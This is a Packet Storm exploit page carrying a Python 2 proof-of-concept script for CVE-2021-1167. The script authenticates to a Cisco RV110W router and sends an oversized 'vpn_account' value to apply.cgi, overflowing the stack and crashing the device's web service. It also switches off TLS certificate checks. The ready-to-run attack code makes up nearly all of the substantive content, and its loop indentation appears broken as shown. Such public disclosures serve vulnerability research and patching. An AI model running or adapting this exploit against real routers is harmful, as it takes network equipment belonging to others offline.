Register | Login

packet storm
what you don't know can hurt you

Search …

| Home | Files | News | About | Contact |&[SERVICES_TAB] | Add New |

Cisco RV110W 1.2.1.7 Denial Of Service

Authored by Shizhi He

Posted Jan 14, 2021

Cisco RV110W version 1.2.1.7 vpn_account denial of service proof of concept exploit.

tags | exploit, denial of service, proof of concept
systems | cisco
advisories | CVE-2021-1167
SHA-256 | d17a98598deaf9e49e4b5b6d4987373b9fff15aa4200a8930baafc922e80ba62 Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: Cisco RV110W 1.2.1.7 - 'vpn_account' Denial of Service (PoC)
# Date: 2021-01
# Exploit Author: Shizhi He
# Vendor Homepage: https://www.cisco.com/
# Software Link: https://software.cisco.com/download/home/283879340/type/282487380/release/1.2.1.7
# Version: V1.2.1.7
# Tested on: RV110W V1.2.1.7
# CVE : CVE-2021-1167
# References:
# https://github.com/pwnninja/cisco/blob/main/vpn_client_stackoverflow.md
# https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv-overflow-WUnUgv4U

#!/usr/bin/env python2

#####
## Cisco RV110W Remote Stack Overflow.
### Tested on version: V1.2.1.7 (maybe useable on other products and versions)


import os
import sys
import re
import urllib
import urllib2
import getopt
import json
import hashlib
import ssl

ssl._create_default_https_context = ssl._create_unverified_context

###
# Usage: ./CVE-2021-1167.py 192.168.1.1 443 cisco cisco
# This PoC will crash the target HTTP/HTTPS service
###

#encrypt password
def enc(s):
    l = len(s)
    s += "%02d" % l
    mod = l + 2
    ans = ""
    for i in range(64):
  tmp = i % mod
  ans += s[tmp]
    return hashlib.md5(ans).hexdigest()

if __name__ == "__main__":
    print "Usage: ./CVE-2021-1167.py 192.168.1.1 443 cisco cisco"

    IP = sys.argv[1]
    PORT = sys.argv[2]
    USERNAME = sys.argv[3]
    PASSWORD = enc(sys.argv[4])
    url = 'https://' + IP + ':' + PORT + '/'

    #get session_id by POST login.cgi
    req = urllib2.Request(url + "login.cgi")
    req.add_header('Origin', url)
    req.add_header('Upgrade-Insecure-Requests', 1)
    req.add_header('Content-Type', 'application/x-www-form-urlencoded')
    req.add_header('User-Agent',
                    'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)')
    req.add_header('Accept',
'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8')
    req.add_header('Referer', url)
    req.add_header('Accept-Encoding', 'gzip, deflate')
    req.add_header('Accept-Language', 'en-US,en;q=0.9')
    req.add_header('Cookie', 'SessionID=')
    data = {"submit_button": "login",
            "submit_type": "",
            "gui_action": "",
            "wait_time": "0",
            "change_action": "",
            "enc": "1",
            "user": USERNAME,
            "pwd": PASSWORD,
            "sel_lang": "EN"
            }
    r = urllib2.urlopen(req, urllib.urlencode(data))
    resp = r.read()
    login_st = re.search(r'.*login_st=\d;', resp).group().split("=")[1]
    session_id = re.search(r'.*session_id.*\";', resp).group().split("\"")[1]
    print session_id

    #trigger stack overflow through POST vpn_account parameter and cause denial of service
    req2 = urllib2.Request(url + "apply.cgi;session_id=" + session_id)
    req2.add_header('Origin', url)
    req2.add_header('Upgrade-Insecure-Requests', 1)
    req2.add_header('Content-Type', 'application/x-www-form-urlencoded')
    req2.add_header('User-Agent',
                    'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)')
    req2.add_header('Accept',
'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8')
    req2.add_header('Referer', url)
    req2.add_header('Accept-Encoding', 'gzip, deflate')
    req2.add_header('Accept-Language', 'en-US,en;q=0.9')
    req2.add_header('Cookie', 'SessionID=')
    poc = "a" * 4096
    data_cmd = {
            "gui_action": "Apply",
            "submit_type": "",
            "submit_button": "vpn_client",
            "change_action": "",
            "pptpd_enable": "0",
            "pptpd_localip": "10.0.0.1",
            "pptpd_remoteip": "10.0.0.10-14",
            "pptpd_account": "",
            "vpn_pptpd_account": "1",
            "vpn_account": poc,
            "change_lan_ip": "0",
            "netbios_enable": "0",
            "mppe_disable": "0",
            "importvpnclient": "",
            "browser": "",
            "webpage_end": "1",
            }
    r = urllib2.urlopen(req2, urllib.urlencode(data_cmd))
    resp = r.read()
    print resp
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat	180 files
Ubuntu	78 files
Debian	24 files
LiquidWorm	23 files
malvuln	12 files
nu11secur1ty	10 files
Gentoo	9 files
Google Security Research	8 files
T. Weber	4 files
Julien Ahrens	4 files

File Tags

ActiveX	(932)
Advisory	(79,733)
Arbitrary	(15,694)
BBS	(2,859)
Bypass	(1,619)
CGI	(1,018)
Code Execution	(6,924)
Conference	(673)
Cracker	(840)
CSRF	(3,290)
DoS	(22,601)
Encryption	(2,349)
Exploit	(50,358)
File Inclusion	(4,165)
File Upload	(946)
Firewall	(821)
Info Disclosure	(2,660)
Intrusion Detection	(867)
Java	(2,899)
JavaScript	(820)
Kernel	(6,290)
Local	(14,201)
Magazine	(586)
Overflow	(12,418)
Perl	(1,418)
PHP	(5,093)
Proof of Concept	(2,291)
Protocol	(3,435)
Python	(1,467)
Remote	(30,043)
Root	(3,504)
Ruby	(594)
Scanner	(1,631)
Security Tool	(7,776)
Shell	(3,103)
Shellcode	(1,204)
Sniffer	(886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX	(426)
Apple	(1,926)
BSD	(370)
CentOS	(55)
Cisco	(1,917)
Debian	(6,634)
Fedora	(1,690)
FreeBSD	(1,242)
Gentoo	(4,272)
HPUX	(878)
iOS	(330)
iPhone	(108)
IRIX	(220)
Juniper	(67)
Linux	(44,294)
Mac OS X	(684)
Mandriva	(3,105)
NetBSD	(255)
OpenBSD	(479)
RedHat	(12,448)
Slackware	(941)
Solaris	(1,607)

Login or Register to add favorites

Spoof (2,166)
SQL Injection (16,101)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,132)
Web (9,357)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,158)
UnixWare (185)
Windows (6,511)
Other

packet storm

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory

About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By
Rokasec

Follow us on Twitter

Subscribe to an RSS Feed